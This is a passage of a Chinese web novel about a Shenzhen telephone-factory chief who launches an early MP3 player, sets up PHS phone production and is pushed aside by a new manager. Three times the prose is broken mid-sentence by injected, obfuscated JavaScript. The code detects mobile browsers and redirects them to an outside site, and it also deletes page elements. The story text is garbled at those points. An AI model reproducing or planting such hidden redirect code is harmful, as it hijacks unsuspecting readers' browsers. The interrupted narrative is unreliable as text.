回到公司后,一进办公室,周亚平便看到蒋娜娜正与周萌梦聊得热火朝天,还有一位中年男子静静地坐在一旁,估计是门卫所说的另一位“周总”。小蒋也是从周亚平原来内地的老厂过来的,是周同事的女儿,从小就与萌梦很熟,自然聊得很开心。 见周亚平进来,周萌梦站起来,指着那位男子介绍:“爸!这是我们公司的周总。今天我们过来,是有一个很好的电子产品,周总想与你们公司合作开发 。” 那位“周总”伸过手来,紧紧握住周亚平的手,说:“家门,久仰,久仰!我叫周浩靖,今天和小周来贵公司,希望合作成功。” “周总,小女在贵公司工作,蒙多方照顾,深表谢意!请坐下来,我们详细谈谈。” 周浩靖从手提包里掏出一个比香烟盒还小的金属盒,递给周亚平,一边说:“这是我们从韩国买回来到最新科技产品,叫MP3播放器,也就是另一种模式的‘随身听’,是韩国世韩公司去年才开发生产的。你看,这么小巧美观,音质也是上乘。我用上这个后,再看看我们现在流行的‘随身听’,无论是磁带机,还是CD机,看到那个傻大笨粗的样子,就觉得不是一个档次的产品。” 周亚平拿着这台MP3播放器仔细观看,感到确实外形美观,小巧可爱,掂量一下,非常轻巧,估计重量不会超过100克。 周浩靖接着说:“你再听听声音吧。”他帮周亚平打开手中机器的电源开关,拿出一副耳机,将插头插入,然后把耳机给周亚平戴上。一阵悠扬动听的音乐响起,音质纯真,使人心旷神怡。平心而论,他感到与CD音质相差无几。 一种突发的灵感让周亚平兴奋异常,他认定了,这应该会成为中国今后最时髦、最实用的walkman(随身听)。 “很好!周总,你眼光很准,这是一个非常有前途的产品,我完全赞成合作开发,而且必须尽快开发 ,赶在大多数人还没有意识到的时候推出市场。”周亚平坚定地说。 周浩靖听了很开心,对周萌梦说:“我没找错人,你老爸很有见识。”又转过身来问周亚平:“周总,这一栋楼都是你们公司的?” “是的,是我们自己购置的。” “周总,实话说,我们是小公司,开发方面实力不够,看来,贵公司很有实力,对于开发这样的产品,技术上应该没有什么问题。” 周亚平想了想,说::“我们公司也不大,严格说,光靠我们自己的力量,开发它还是很困难,主要是软件方面,我公司软件工程师的水平达不到。” “贵公司有几个软件工程师?” 周浩靖问。 “由于我们主要生产电话机产品,一种规格定型后,基本不会有多大变化,大多只需要变换外观,因此,不需要太多的软件工程师。而且,现在许多开发公司都无偿提供全套方案,不需要我们自己开发。因此,我司目前只有2名软件工程师。” 周浩靖听了感到不可思议,心想,我们这家二十几个人的小公司,都有3名软件工程师,你们一个几百名员工的电子企业,居然只有2名搞软件的工程师。 这一次的会面主要是双方互相介绍和了解情况,没有达成具体的合作开发方案。 客人离开后,周亚平一直非常重视这件事,多次与周浩靖电话沟通,希望商谈一个切实可行的合作方案,但始终没有得到对方肯定的答复。谈来谈去,最终的结论似乎是,两家各自开发,情报和信息共享,产品可以共同销售。 既然这种产品有这么大的优势和前途,不能再等了,周亚平告诉自己,必须走自己的路。 他认真思考后,悟出了一个开发的思路,当即找了副总柳津生和技术部经理常和平一起来商议。 周亚平对二人说:“最近,我反复在想,如果要让那个韩国的新产品——MP3播放器,尽快转化为我们的新产品,完全靠自己开发,是非常困难的,我们暂时还没有这样的开发人才。要想快,只有走捷径。江湖武林有一招最厉害的武功,名叫‘借力打力’。这次开发新产品,我们不妨也来个借力打力。我们只做自己擅长的工作,为产品设计一个的漂亮外型,另外按照我国用户的需要,因地制宜地设计各项功能及操作规程。然后直接找韩国厂家合作,索取电原理图及要求按照我们确定的功能及操作改写软件。这些开支,都可以计算到主控芯片价格中去,今后我们只需要购买他们的主控芯片,就可以自己生产。他们卖产品是赚钱,卖主控芯片还不是同样赚钱。估计他们会同意。” “周总,我打开产品仔细观察过,除了主控,还有一块32GB的快闪存储芯片国内找不到,也必须向国外购买。”常和平说。 “行!这块芯片也可以通过他们去买。拿到电原理图后,你们技术部按我们今后设计的外壳设计电路板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479029|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今后,只要购买这家公司两件主要芯片,我们就可以自己生产了。这样不就能够很快推出中国版的MP3随身听了吗。” 柳津生点点头:“这倒是个好办法,但不知道他们芯片卖多贵,会不会故意宰我们。” 周亚平说:“柳总,没关系,好结果是谈出来的,他要做生意嘛,不可能太离谱。再说,高进高出,国内没有的新产品,价格也可以高上去。” 会后,说干就干。首先,周亚平找了一位经常来往韩国的香港供应商,把与韩方就MP3产品合作的意愿详细告知,请他代表“登云”公司与韩方企业谈判。其次,请了一家颇有名气的电子产品外观设计公司,为MP3便携式播放器做外观设计和结构设计。第三,组织工程技术人员,设计、编制有中国特色的MP3随身听的功能及操作细则。 很快,韩国公司传来消息,同意“登云”公司的合作条件,并提出了报价。两项芯片价格都很贵,这是意料之中的事,但其中的32GB存储芯片,价格高达42美元/颗,却是大家没想到的。到其他国家打听了价格,也都差不多。估计是这类存储芯片刚出来,价格必然昂贵。 工业产品设计公司也在较短时间内提供了三套外观设计方案。周亚平和团队观看讨论后,三个方案都被枪毙。理由是,太一般,没有让人耳目一新的感觉。对此,设计公司老总感到很为难,不知怎么样才能“耳目一新”。周亚平耐心地开导他:“这可能是中国的第一台MP3随身听,必须让人拿在手上,就会眼前一亮,爱不释手。请你们无论如何重新设计外观,另外,在外壳的材质方面,不要用普通塑胶机壳,一定要用铝合金机壳,表面作化学处理,形成磨砂效果,显得高档。” 设计公司重新拿出了3套方案,比上一次有明显的进步。“登云”公司选择了其中的一款作为基础,要求根据大家的意见进行修改。翻来覆去,终于确定了一个较为满意的外观设计方案。据此,设计公司进一步提供了结构设计。然后,进入模具设计及开制阶段。 在功能及操作细则方面,技术部经过反复研究讨论,也提出了几套方案,但都不能让周亚平满意,认为只不过是把韩国企业产品的功能和操作颠倒次序,没有中国特色。 怎么样才能体现中国特色呢?周亚平经过几天的冥思苦想,终于找到了一个好点子。他把开发团队找到自己办公室,向他们征求意见。 只见周亚平拿出一台类似磁带随身听一样的东西,展示给大家看,说:“相信大家都知道,这个产品叫‘复读机’,主要用于英语学习。这里面有些功能,对于初学英语者非常有用。如‘复读’,就是按选定的次数,反复朗读某英文单词或句子;再如‘跟读’,就是在播放完某单词或句子后,留有恰当的时间,给予使用者跟随朗读;还有,‘跟读对比’,就是把学习者跟读的内容录音,然后与原始读音同时播出,让学习者体验差别。我觉得,如果我们生产的MP3随身听能够增加这些功能,就能与韩国产品有一个较大的差异,同时,也更加符合中国人的使用习惯。” 会场上一时寂静无声,大家都在思索。 常和平第一个表态:“周总这个想法不错,我看可以向韩方提出,修改软件,增加这些功能。” 柳津生也表示赞成,但他担心对方会因此提高价格。 张泰泉则兴奋地说:“在MP3上增加的这些功能,应该是世界上第一次吧,我们也可以申报专利,实用新型专利。” 按照周亚平设想,技术部门重新编制出“登云”版MP3功能及操作方案的纸质文件,并通过香港中介公司发给韩国合作企业。 谁知韩国企业马上回复,说无法理解所描述的各项功能。 常和平接到回函,立即向周亚平报告。 “无法理解”,是语言障碍,还是思维差异?周亚平一时也无法判断。 默默思考了一会,周亚平说:“常经理,可能是我们所说的这些功能,光凭文字,翻译得再怎么准确,如果没有实际看到或使用过,照样很难理解。要不这样,干脆寄一台‘复读机’给他们,里面的说明书中有中英文对照,参照说明书,实物使用,应该很快明白我们的意思了。” 果然,“复读机”寄过去没多久,对方就表示已经完全理解中方公司想法,并承诺尽快修改软件。最令人满意的是,修改软件,并没有提高报价。 当年年底,赶在21世纪到来之前, “登云”公司生产的MP3随身听面世了。这一消息不知怎么被新闻界的朋友知道了,一条“新华社消息”登在许多报刊的新闻栏内,“中国第一台MP3播放器在深圳诞生”,“登云”公司的名字赫然在列。 新产品投入市场后,引起了一阵不小的轰动。许多经销单位和公司纷纷前来观摩、咨询。拿到产品,一看一听,都啧啧连声,称实在是个好东西;但一问价格,就都被980元一台的批发价吓倒了。但还是有一些经销商,小批量购买,按照“登云”确定的统一零售价1680元/台在各大商场销售。 尽管陆续有所出货,但整体销售不是太畅,结果不太理想,没有出现原来设想的火爆局面。“登云”公司首批生产的10000台产品,卖了整整两年。 实在让人纳闷,一个人人说好的家用电器产品,一个中国第一家生产的产品,销售竟这么困难,居然没有让公司大赚一把。真是时运不佳! 周亚平一直在思索,自己苦心孤诣打造的中国特色MP3播放器,为什么会在市场会遭遇不佳的业绩?事后很久,周亚平才明白其中的真谛,主要原因是因为产品生不逢时。 一个产品,不是越早问世就越好,而是适当的时机推出市场才最好。“登云”最早投产的MP3播放器,由于当时主要的两块芯片价格超高,造成成品价格居高不下,影响了普通老百姓的消费。另外更重要的是,当时,网上供机器下载的MP3音乐很少,其中免费的更少,资源严重不足,以致无米下锅。这两大问题,过了几年后才得到彻底解决,也是在这之后,MP3播放器主要芯片成本价降至周亚平他们当时价格的十分之一,而且,网上MP3乐曲越来越多,全部免费。因此,在“登云”产品面世两三年后,MP3播放器的市场才真正爆发,成了时髦青年人手一个的音乐播放产品。 31. 三十一 “登云”公司的合资经营期限是十年,十年到期后,转而注册为国营独资企业。“登云”公司的上级原是中央部属企业,根据国家要求政府机构与企业脱钩的相关文件,已与中央部委脱钩,改名为“中国宇电集团公司”。因此,“登云”公司也随即改名为“宇电登云电子有限公司”。 MP3播放器开发、生产没能取得预想的成果,这件事并没有打消周亚平扩展产品多元化,谋求新发展的念头,反而更加激发了他的决心与斗志。他清醒地认识到,单纯依靠现有的普通电话机产品,企业无法迈上一个新台阶。 在他的带领下,公司不断研发,不断创新,陆续推出了电话机的系列产品。在普通功能电话机一类,增加了多种外型款式,做到五花八门,应有尽有。除此,相继开发了各种特殊用途的电话机,如录音电话机,无绳电话机以及挂墙的公用电话机。其中无绳电话机又分单手柄机和子母机(即搁在机座上的手柄及机座都可以分别接听电话。) 最近,周亚平又在琢磨一个新产品——PHS手机,也就是俗称的“小灵通”。 说也奇怪,这个产品仿佛是一夜爆红,突然冒了出来,正在拼命抢占移动通信中GSM手机和CDMA手机的地盘。 由于发展很快,而国内生产“小灵通”终端产品的厂家很少,因此“小灵通”手机炙手可热,成了抢手的商品。 内地一家经常购买“登云”电话机的老客户打来的电话提醒了周亚平。那位客户询问周,是否能通过“登云”公司买到“小灵通”手机,并说有多少要多少。得到否定的回复后,该客户失望地对周亚平说:“周总,这么紧俏的产品,你们也可以生产呀,抓住这个机会,过了这个村就没有这个店了。” 周亚平受此启发,把目光转向了这个方向。他让技术部门帮他收集了许多这方面的资料,深入了解PHS通信的今世前生。他还专门通过一个日本朋友,与原来生产过PHS手机的一家日本企业,进行了电话沟通。日本那家公司似乎对中国大陆兴起的PHS通信感到不解,说:“你们都已经用上了先进的移动通信技术,为什么还要捡起我们已经淘汰的这一项落后技术呢?”周亚平询问他们PHS手机产品是否还有库存,回答也是否定的,而且明确告知,即使有库存产品,在中国也用不上,因为技术标准不完全一致。 受日本企业这番来话的影响,“登云”公司中许多以前对“小灵通”很感兴趣的人都丧失了信心,纷纷劝说周亚平搁置这一项目,认为既然是发达国家已经淘汰的技术,肯定是没有前途的。 经过冷静地综合分析,周亚平仍然觉得这一产品是企业捞金的一个绝好机会,不能轻易放过。在专题研讨会上,他向班子成员表达了自己的意见:“PHS通信相比现代移动通信,技术上确实是落后的,但它也有一些优势是GSM和CDMA通信无法比拟的,比如它耗能小,绿色环保;发射功率小,因而辐射小,通话时间再长,机体也不发热;话费低,对普通消费者有很大的吸引力。特别是,正是由于技术相对简单,基站设施也不复杂,故而架设、调试都很方便,可以很快形成通信能力。最主要的是,国家给‘中国移动’和‘中国联通’都发放了移动通信的牌照,唯独中国通信业的老大‘中国电信’没有这块牌照,无法经营手机业务,这让他们情何以堪。而‘PHS’通信不属于移动通信范畴,这就是‘中国电信’的救命稻草,他们必将在这方面大做文章。用这种哪怕是落后的技术去抢占手机市场。因此,我估计,在今后的两三年内,‘小灵通’手机必将还有较大的发展。至于两三年后如何变化,谁也说不清楚,我们也不用管它,到时见好就收。” 见没人反对,周亚平继续说:“因此,这种产品只能打‘短平快’的战术,目前,国内只有三家企业生产,我们如果得以生产,那就是第四家。中国这么大,短期内四家供应也是不够的。但前提是,我们只能采取‘拿来主义’的办法,必须尽快拿到现成的生产技术和生产方案。不能再慢慢去开发,去摸索。那样,黄花菜都凉了。” 会后,交给大家的任务只有一个,四处寻找目标企业——能够提供完整“小灵通”技术和方案的企业。 果真是“世上无难事,只怕有心人”。“登云”公司寻找“小灵通”方案的消息放出去后不到一个月,有人找上门来。 来的是本地一家名叫“启明星科技有限公司”的两位负责人。年纪较轻的那位叫邢臻善,是总经理,年纪较大的许岳朗,是副总经理。但周亚平看到的派头和听到的说话口气,好像许岳朗才是总经理。 许岳朗进门以后,一直在滔滔不绝地介绍他们公司以往的光辉业绩,实在让周亚平有点烦,但出于礼貌,又不便打断,只好装着认真倾听,等他稍停话语的间隙,插嘴道:“许总,看出来了,贵公司虽然体量不大,但能量很大。否则,怎么会有‘小灵通’的技术方案。”周亚平是想把话题拉回到正题上来。 邢臻善明白了周的话意,赶紧说:“周总,其实这个方案也不是我们公司的。是一家台湾企业的。” 许岳朗接过话头:“这是一家与我们长期合作的台湾大公司,刚刚研制完成的新产品,出于对我公司的信任,全权委托我们处理这一事项。你们也知道,目前大陆的‘小灵通’手机非常抢手,我们希望找一家有实力的企业,合作生产这一产品,尽快投入市场。” “那就对了,找我们公司是比较好的选择,” 市场部经理陈佑福说,“不说别的,光说办‘入网许可证’这一点,其它企业都不如我们有优势。” “是呀,要不然我们会找你们?我们就是看中了这一点。听说你们原来就是国家通讯部门的直属企业,现在,你们集团总部虽然与政府机关脱钩了,但我想还会有千丝万缕的联系。由你们出面生产和办理入网手续,那应该是顺理成章的事,所以来找你们商谈。” 许岳朗直截了当地说。 邢臻善从口袋里拿出了一台“小灵通”手机,递给周亚平:“你们看,这是我们今后准备合作生产的样机,这是铁灰色的,真正生产时可以调配各种颜色。” 周亚平他们轮流看了看样机,都感到外观确实还不错,认为应该会招用户喜爱。 两家企业就台湾“小灵通”手机合作生产事项进行了认真的讨论,并在当天就草拟了一份合作协议书。“启明星”公司两位老总拿走了“协议书”打印稿,说回去后与台湾公司商议。 三天后,邢臻善和许岳朗再次来到“登云”公司,告知周亚平,台湾方面对于“协议书”草案没有异议,希望马上正式签订。 签约仪式非常简单,周亚平和邢臻善分别在四份打印件上签字,然后盖上双方公章,不到十分钟,大功告成。但庆祝午宴却花了三个小时。席上,许岳朗酒量惊人,轮流与众人干杯,一个人喝了将近一瓶52°的白酒。本来他话语就多,喝了点酒,更加率性而为,又唱又跳,把宴席气氛搞得非常热闹。 送走“启明星”公司客人后,已经是下午三点多钟,由于中午喝了些酒,周亚平有点犯困,回到办公室后,把门一锁,倒在沙发上就睡着了。 一阵急促的电话铃声把他吵醒。周亚平不情愿地提起话筒,有气无力地说了声:“你好!请问那位?” “你是周亚平吧?我是彭旭辉呀!” “哦,是彭总,你好!我是周亚平。有什么指示?” “亚平,上次你不是说老柳退休了,抱怨一个人在企业干太累,希望组织上给你派个年轻干部来吗。朱总考虑你们公司的具体情况,提出了调整意见。让你担负更重要的工作,接替我担任董事长。准备把西南公司的李达锦同志调过来当总经理。我今天就是特意征询你的意见。你看怎么样?” 周亚平这个人虽然不笨,知道人事关系的复杂性,但他确实没有什么小心眼,根本没有想过以后会出现的难堪局面,或者就是意识到也觉得没有什么了不起。几乎没有思索,马上一口回应:“领导的安排,我没有意见。确实这么多年占了总经理这个位置,也该给年轻人让让位了,再说自己也该轻松一下了。” 周亚平知道,前不久集团公司领导班子做了调整,蔡总已经调走,新来的总裁姓朱,是从原部内另一个集团公司总裁位上平调过来的。至于为什么他一来就调整“登云”公司的班子,周亚平不明白也不想明白。 “那好!你没有什么意见的话,我们就会正式发文件了。亚平,你也是老同志了,今后要全力帮助新来的同志做好工作。你虽然是董事长,但要洒脱一点,具体事务不要去管,放手让新来的总经理去管。你主要管一管大政方针,公司方向性的问题。像我,当你们董事长多年,我干涉过你们的具体工作没有?” 关于总部即将调整“登云”公司领导班子的消息,周亚平没有向其他人透漏,只是与办公室副主任张泰泉说了说。 张泰泉听了这个消息,颇为担忧地对周亚平说:“周总,按理说你提拔为董事长,官升一级,我应该替你高兴,但不知为什么,我高兴不起来,总觉得这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我明白他们的意思。”技术部经理李和平对周亚平说,“他们实际上是想切身了解我们公司与北京这几家办理入网手续的单位关系究竟怎么样,以此确定今后办理入网的把握有多大。” 其实不用李工说,周亚平很清楚他们提出要去北京的本意,但不便说明。 许岳朗尴尬地笑笑,含糊不清地说:“也是……也不是这个意思。总之,我们去摸摸底,了解一些情况总是有好处的。” 讨论了半天,双方确定,下周一,两家公司派人去北京,主要走访“登云”的上级公司“中国宇电集团公司”,负责办理通信产品入网手续的“行管处”及“通信产品检测中心”。 周亚平这次去北京,准备带常和平同行。行前,专门给总部有关人员打招呼,特别是和集团一位中层干部马丽忻进行沟通,详细介绍了这次来京的主要目的,因为她兼任“登云”公司董事。电话中,周亚平说:“马经理,这次我们和一个很重要的合作伙伴同来北京。他们来的目的,主要是考察我们总部的实力及影响力,摸清我们办理‘小灵通’入网手续究竟有无把握。说实话,我本人与‘行管处’及‘检测中心’并不是很熟,听说你在这两个单位都有熟人,到时只能看你的了,反正你也是我们公司的领导成员。” 马丽忻快人快语:“没问题!‘行管处’有位领导原来和我是同事,关系还不错。‘检测中心’更不要说了,它原来就是我们集团的下属单位。周总,你忘记了?在我们集团时,名叫‘传输所’,分出去后,才改名为‘检测中心’。你也应该很熟呀,他们的领导过去经常和你们一起开会,还能不认识?” 有了这一铺垫,周亚平对去北京更加有信心了。 果不其然,北京之行非常顺利。“启明星”公司两位老总看到坐落在北京繁华街道上的,挂着“中国宇电集团”闪闪发光金字招牌的办公大楼,露出羡慕的目光。特别是在走访“通信行业管理处”与“通信产品检测中心”时,看到该两处的领导和办事员与马丽忻和周亚平谈话时的热络,一眼就能看出不是一般的关系。 “行管处”明确表示,“登云”公司完全符合申报“小灵通”入网手续的条件。那位马丽忻的老同事还担心“登云”在申报程序上出差错,走弯路,再三强调各项注意事项。“检测中心”的负责人,也很念旧,嘴上笑嘻嘻地打趣:“我可告诉你们,熟人是熟人,检测方面可不能含糊,如果不合格就是不合格,别想走后门。”但私下里,又向周亚平传授绝招。为了确保产品送检通过,可以在申报入网检测前,把样品以“摸底试验”或其它名义先行送检,完全合格后,再以入网名义送检。这样,避免入网送检不合格后,又需要等待漫长的时间进行二次报批手续。 北京之行结束后,“启明星”公司两位领导再无任何疑虑,对“小灵通”入网一事彻底放心了。可以说,双方合作的基础已经打得很牢。 邢臻善真诚地对周亚平说:“这次去北京,真没有白跑,以前不知道,办入网还有这么多讲究。幸好找到你们,否则,将来这道关还确实不容易过。” 32. 三十二 “登云”公司领导班子调整的文件下发了,正式任命周亚平为公司董事长,任命李达锦为总经理。 李达锦原是总部西南贸易公司的总经理,其实与周亚平也是旧相识,在总部召开的会议上见过面。他还一度经销过“登云”公司的电话机,特别是“登云”公司的MP3播放器出产后,他是系统内经销的第一人。 李达锦很快走马上任了。 在公司的交接仪式上,“宇电集团”人事部门的领导在宣布任免文件后,说:“希望从今往后,两位领导各负其责,各司其职,相互尊重,友好合作,把‘宇电登云’建设得更好、更强,为国家的通信事业做出新的更大的贡献!” 按程序,接着是周亚平发言。他对新来的总经理表示欢迎,表明自己一定遵照职责的要求,努力做好本职工作,全力支持总经理的工作。 接下来李达锦讲话,他表示,一定不辜负上级领导的期望,全心全意,奋力拼搏,让“宇电登云”在现有的基础上,更上一层楼。 会后,李达锦还到周亚平办公室进行礼节性的拜访,寒暄了一番。在周亚平记忆里,这是李达锦最后一次踏进自己的办公室。 李达锦走马上任没多久,他在西南贸易公司的一班部下陆续来到深圳。李达锦对“登云”公司的中层干部进行了一次较大的调整。重要的岗位,大都换上了李的原班人马。 “登云”公司的老职员,纷纷跑到周亚平办公室倾诉,要求董事长出面干预。周亚平默默地听着,除了安慰,没有更多的言语。他实话告诉他们,自己这个董事长,按照公司章程规定,只是在总经理一级的任免上有发言权,至于中层干部的任免,都是总经理的职责和权力。集团领导再三强调过,不能干预总经理的行政权,希望大家理解。 看到来人一个个怏怏地离开办公室,周亚平心里很不是滋味,但又别无他法。 时间一天天过去,尽管周亚平仍然一直在自己原来的办公室上班,但感觉与以前完全两样。以前忙得团团转,现在闲得心里慌;过去,办公室里人来人往,现在,整天都很清静。偶尔有老员工过来聊聊天,也都悄悄而来,悄悄而去,担心被新的总经理发现。据说,凡是经常进出周亚平办公室的人员,都会被人告诫,不要去“打扰”董事长的工作和休息。 这也罢了,周亚平是个书谜,以前工作忙,上班时间不要说看书,连读报纸的时间也没有。现在好了,每天有大把的时间读书看报。为此,周亚平制订了一个学习计划,准备补补课,把文史哲等方面的经典著作系统地读读。 公司方面,“小灵通”手机入网证已经办好,购料、生产、销售都在按部就班地进行。“启明星”公司两位老总也经常来“登云”公司办事,但只有邢臻善还时不时到周亚平办公室来问好、聊天 ,而非常势利的许岳朗知道周亚平已是泥塑大菩萨,在公司无实权,因此,再未去过周亚平办公室。 “登云”小灵通手机上市后,销售火爆,供不应求。许多不了解“登云”公司领导班子已经调整的老客户把电话打到了周亚平办公室,求购产品。周亚平只能耐心地向客户解释,自己已经退居二线,请他们去找公司市场部和新来的总经理。 给客户解释完后,周亚平也很想了解一下本公司的“小灵通”手机究竟是怎样一个销售情况,于是拨通了陈佑福的电话。陈已由正职变成了副职,现在的市场部经理是李达锦带来的干部。 “陈经理,这几天老是有些老客户给我打电话,要购买‘小灵通’,说是我公司的产品非常紧俏,一台也买不到,这究竟是怎么回事?” “是周总哦,”电话那边陈佑福迟疑地说,“周总,这样吧,晚上你有空吗?我们一起去吃个鸡煲吧,就是去年我们去过的那家店。” 看来陈现在说话不太方便,周亚平回复道:“好吧,晚上见。” 下班以后,周亚平如约来到这家鸡煲店,先点好酒菜。过不多久,陈佑福也已来到,还没坐下,就连连道歉:“对不住,周总,你给我打电话时,我办公室有人,不便与你多谈。” “先坐下。没关系,我知道你有些话不方便在公司说。”周亚平打开啤酒瓶,倒了两杯啤酒,“来,我们边喝边说。” 陈佑福咕噜咕噜地喝下一杯啤酒,对周亚平说:“老领导,你不知道,这班家伙胆子太大了。现在‘小灵通’俏得很,但有些长期支持我们的老客户,却买不到我们的货。我跟他们说过多次,销售时,要多照顾支持我公司多年的老客户,但当我放屁一样,一点用都没有。后来我才知道这里有猫腻,只有每台给10元到20元的回扣,才能买到我们的货。谁给回扣谁能拿货,谁给的回扣越多,谁就越快拿到货。” 周亚平震惊了:“有这种事?以前只听说过卖主要给买主回扣,现在竟然有这种倒回扣?他们敢拿?” “周总,你以为都像你?怎么不敢拿?现在从上到下都拿。可能是想封口,尽管销售‘小灵通’根本不让我插手,我只有销售老产品电话机的份,但每个月,他们还是会发给我2000——3000元的‘小灵通’销售奖,我都不好意思拿。你想想,我都有这么多奖金,他们呢?想都不敢想会有多少。” 与陈佑福这次见面后,周亚平一直心中不安。公司里竟然有这种利用销售受贿的行为,自己作为董事长有监督的职责,怎么办?要不要给行政班子挑明这件事,找李达锦谈谈,以示告诫? 思来想去,又觉不妥,现在只有陈佑福一人的说辞,其它无凭无据,万一李达锦他们矢口否认,甚至倒打一耙,岂不连累了陈佑福。 周亚平最近正在读一些哲学书籍,对黑格尔的哲学观点颇感兴趣。联想到公司“小灵通”手机销售一事,十分困惑,这种“倒回扣”现象合理吗?难道真如黑格尔说的“凡是存在的,都是合理的”? 正在办公室思前想后的周亚平,听到了敲门声。 “请进!” 陶伟明神情落寞地走了进来。 “哦,是陶经理,请坐。”周亚平指了一下对面的沙发。 两人在沙发上坐下来。 “周总,我是来辞行的。”陶伟明说,“李达锦已经在我的辞职报告上签字同意了。” 周亚平感到意外,问:“你为什么要走?” “欺人太甚,把我降为副经理也就罢了,部门里重要的事项都把我排除在外,我也忍了,现在居然把我和保洁阿姨分在一组,让我‘领导’爱国卫生运动,分明是要我当清洁工。” 周亚平咬着牙齿说:“太过分了,太过分了!” 陶伟明也是周亚平在内地工厂时的中层干部,企业不景气,办了留职停薪手续,找到深圳来的。他进“登云”后,负责后勤部门工作,兢兢业业,任劳任怨,是个老好人。其实,周亚平早就预感到,公司里与自己亲近的人员都不会有好下场,但没想到,会这样快。 陶伟明见到老领导难过,安慰道:“没事!周总,反正我也不能长期在深圳打工,迟早要回去的。我老婆和孩子一直要我回家,正好这是一个机会。” “哎,陶经理,你知道的,这种事,我也无能为力。”周亚平说,“走之前,我们找个酒店聚一下,为你送行。” 陶伟明说:“我们都懂的,其实你过得比我们更难受,被敬在高位上,啥都不能干,啥权都没有。现在下面都在说,玩弄手段,你根本不是姓李的对手。就拿上次朱总裁到公司来说吧,你不过礼节性地和领导见了几次面,而李达锦整天陪着他到处游逛,除了深圳,连东莞、惠州都玩遍了。据说,朱总裁最爱吃鸡□□肉,李派人四处寻找,千方百计买了回来,孝敬领导。” 见周亚平不言语,陈佑福告辞了,临走时,说:“老领导,多保重吧!过几天,我走之前,我把老伙计们都叫过来,聚一聚,乐一乐。” 随着时间的推移,周亚平感到公司内的气氛日益压抑。公司里的老职员,一个个都小心翼翼的,深怕被抓住什么把柄。 公司里的各种会议,从不邀请周亚平列席,李达锦决定的各种事项,哪怕是非常重要的事项,从不与周亚平通气。 周亚平也不计较这些,想通了,不在其位,不谋其政,看不惯的就不去看,听不惯的就不去听。哎,这年头,只能和平共处,相安无事。 但不幸还是有事找上门来。 这天,仍然担任办公室副主任的张泰泉拿了本小册子来到周亚平办公室。 张泰泉嘟着嘴把这本小册子递给周亚平,说:“周总,什么玩艺嘛,连你的名字都被抹掉了。” “抹掉什么名字?”周亚平诧异地问。 张泰泉回复:“这是总部发来的‘通信录’,上面有我们‘宇电’集团所属企业的主要领导及各职能部门的电话号码。奇怪的是,我们‘宇电登云’公司,竟然没有你的名字和电话号码。我记得,原始资料上,明明第一个写的就是董事长的姓名及电话号码。而现在的通信录上,却没有了。我给总部打电话咨询,为什么漏掉了我们公司董事长的名录,他们告诉我,他们完全是按照各个企业自己填报的资料编印的。这说明,是我们公司报出的资料上,就抹掉了你的名字。” 周亚平翻开“通信录”,在“宇电登云”公司栏目里确实没有找到自己的姓名和电话号码。他苦笑了一声:“嘿嘿!现在倒好了,连我是‘登云’公司的一员都否认了。” “太离谱了!”张泰泉愤愤不平地说。 “行了,这事你不要管了,我找老李要个说法。”周亚平对张泰泉说。 周亚平终于讨到了说法,但不是李达锦本人给的,而是李安排一名中层干部金涛转告的。这个金涛,虽然也是李达锦带来的干部,但与其他人不一样,根本不避讳与周亚平的来往,除了经常去周亚平办公室坐坐,在路上见到,也是非常礼貌地打招呼:“董事长好!” “周董,这件事很对不起,是我们工作的疏忽,”金涛十分诚恳地说,“他们具体经办人员是按照往年填报的模板报上去的,因为往年的董事长是总部彭总兼任,故我公司从未将董事长一栏填报,今年他们按照过去的模板去填,才造成这个不该出现的问题。” 又是具体办事人员的工作疏忽,周亚平无语。他本想多问一句,即使底下工作人员出现疏忽,但最后审批签字的领导难道也“疏忽”了?但细想质问金涛也无益,故而把话咽了回去。 “行了,金经理,既然是‘疏忽’,那还能说什么呢?”周亚平笑了笑,“别的无所谓,我只是担心系统里的老同志在‘通信录’里找不到我的名字,会产生误会。你想,像我们这种还没到退休年龄的干部,一旦在总部的名录里消失,无非是两种可能,一是犯错误被撸下来了,还一个是见马克思去了。” 金涛也笑了:“周董,没有这么严重吧。我和他们说说,重新报一份名单。” “不必了,报了也不可能重新编印。谢谢了!不管是无心之过还是有意为之,事情过去了,算了吧!” 此事不了了之。 但在周亚平的脑海里,已经打下深深的烙印,潜意识里,自己在公司是个多余的人。 这一天,蒋娜娜拿着一份“贷款协议书”走进周亚平办公室,说:“周总,这份‘贷款协议书’上,请你签字。” “他们所有的东西都是李总签字,怎么这份‘协议书’要我签字呢?”周亚平不解地问。 蒋娜娜回答:“周总,我们也搞不清为什么,但李总签的字银行里说不行,一定要法人代表签字,也就是你董事长签字。” 周亚平接过“协议书”,翻看了一会,见到贷款金额是1000万元,吓了一跳:“啊,贷款这么多?” 蒋娜娜说:“是呀,说是‘小灵通’发展太快,需要大量资金。听说这还不够,下次贷款可能还要多。” 周亚平办企业,走的是稳健型或可以说是保守型路线,把企业向银行贷款看得像自己向别人借钱一样慎重。现在企业贷款要他签字,但为什么要贷这么多款,怎么去使用这笔款项,他又毫不知情,手拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479031|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签字笔的周亚平,感到左右为难。 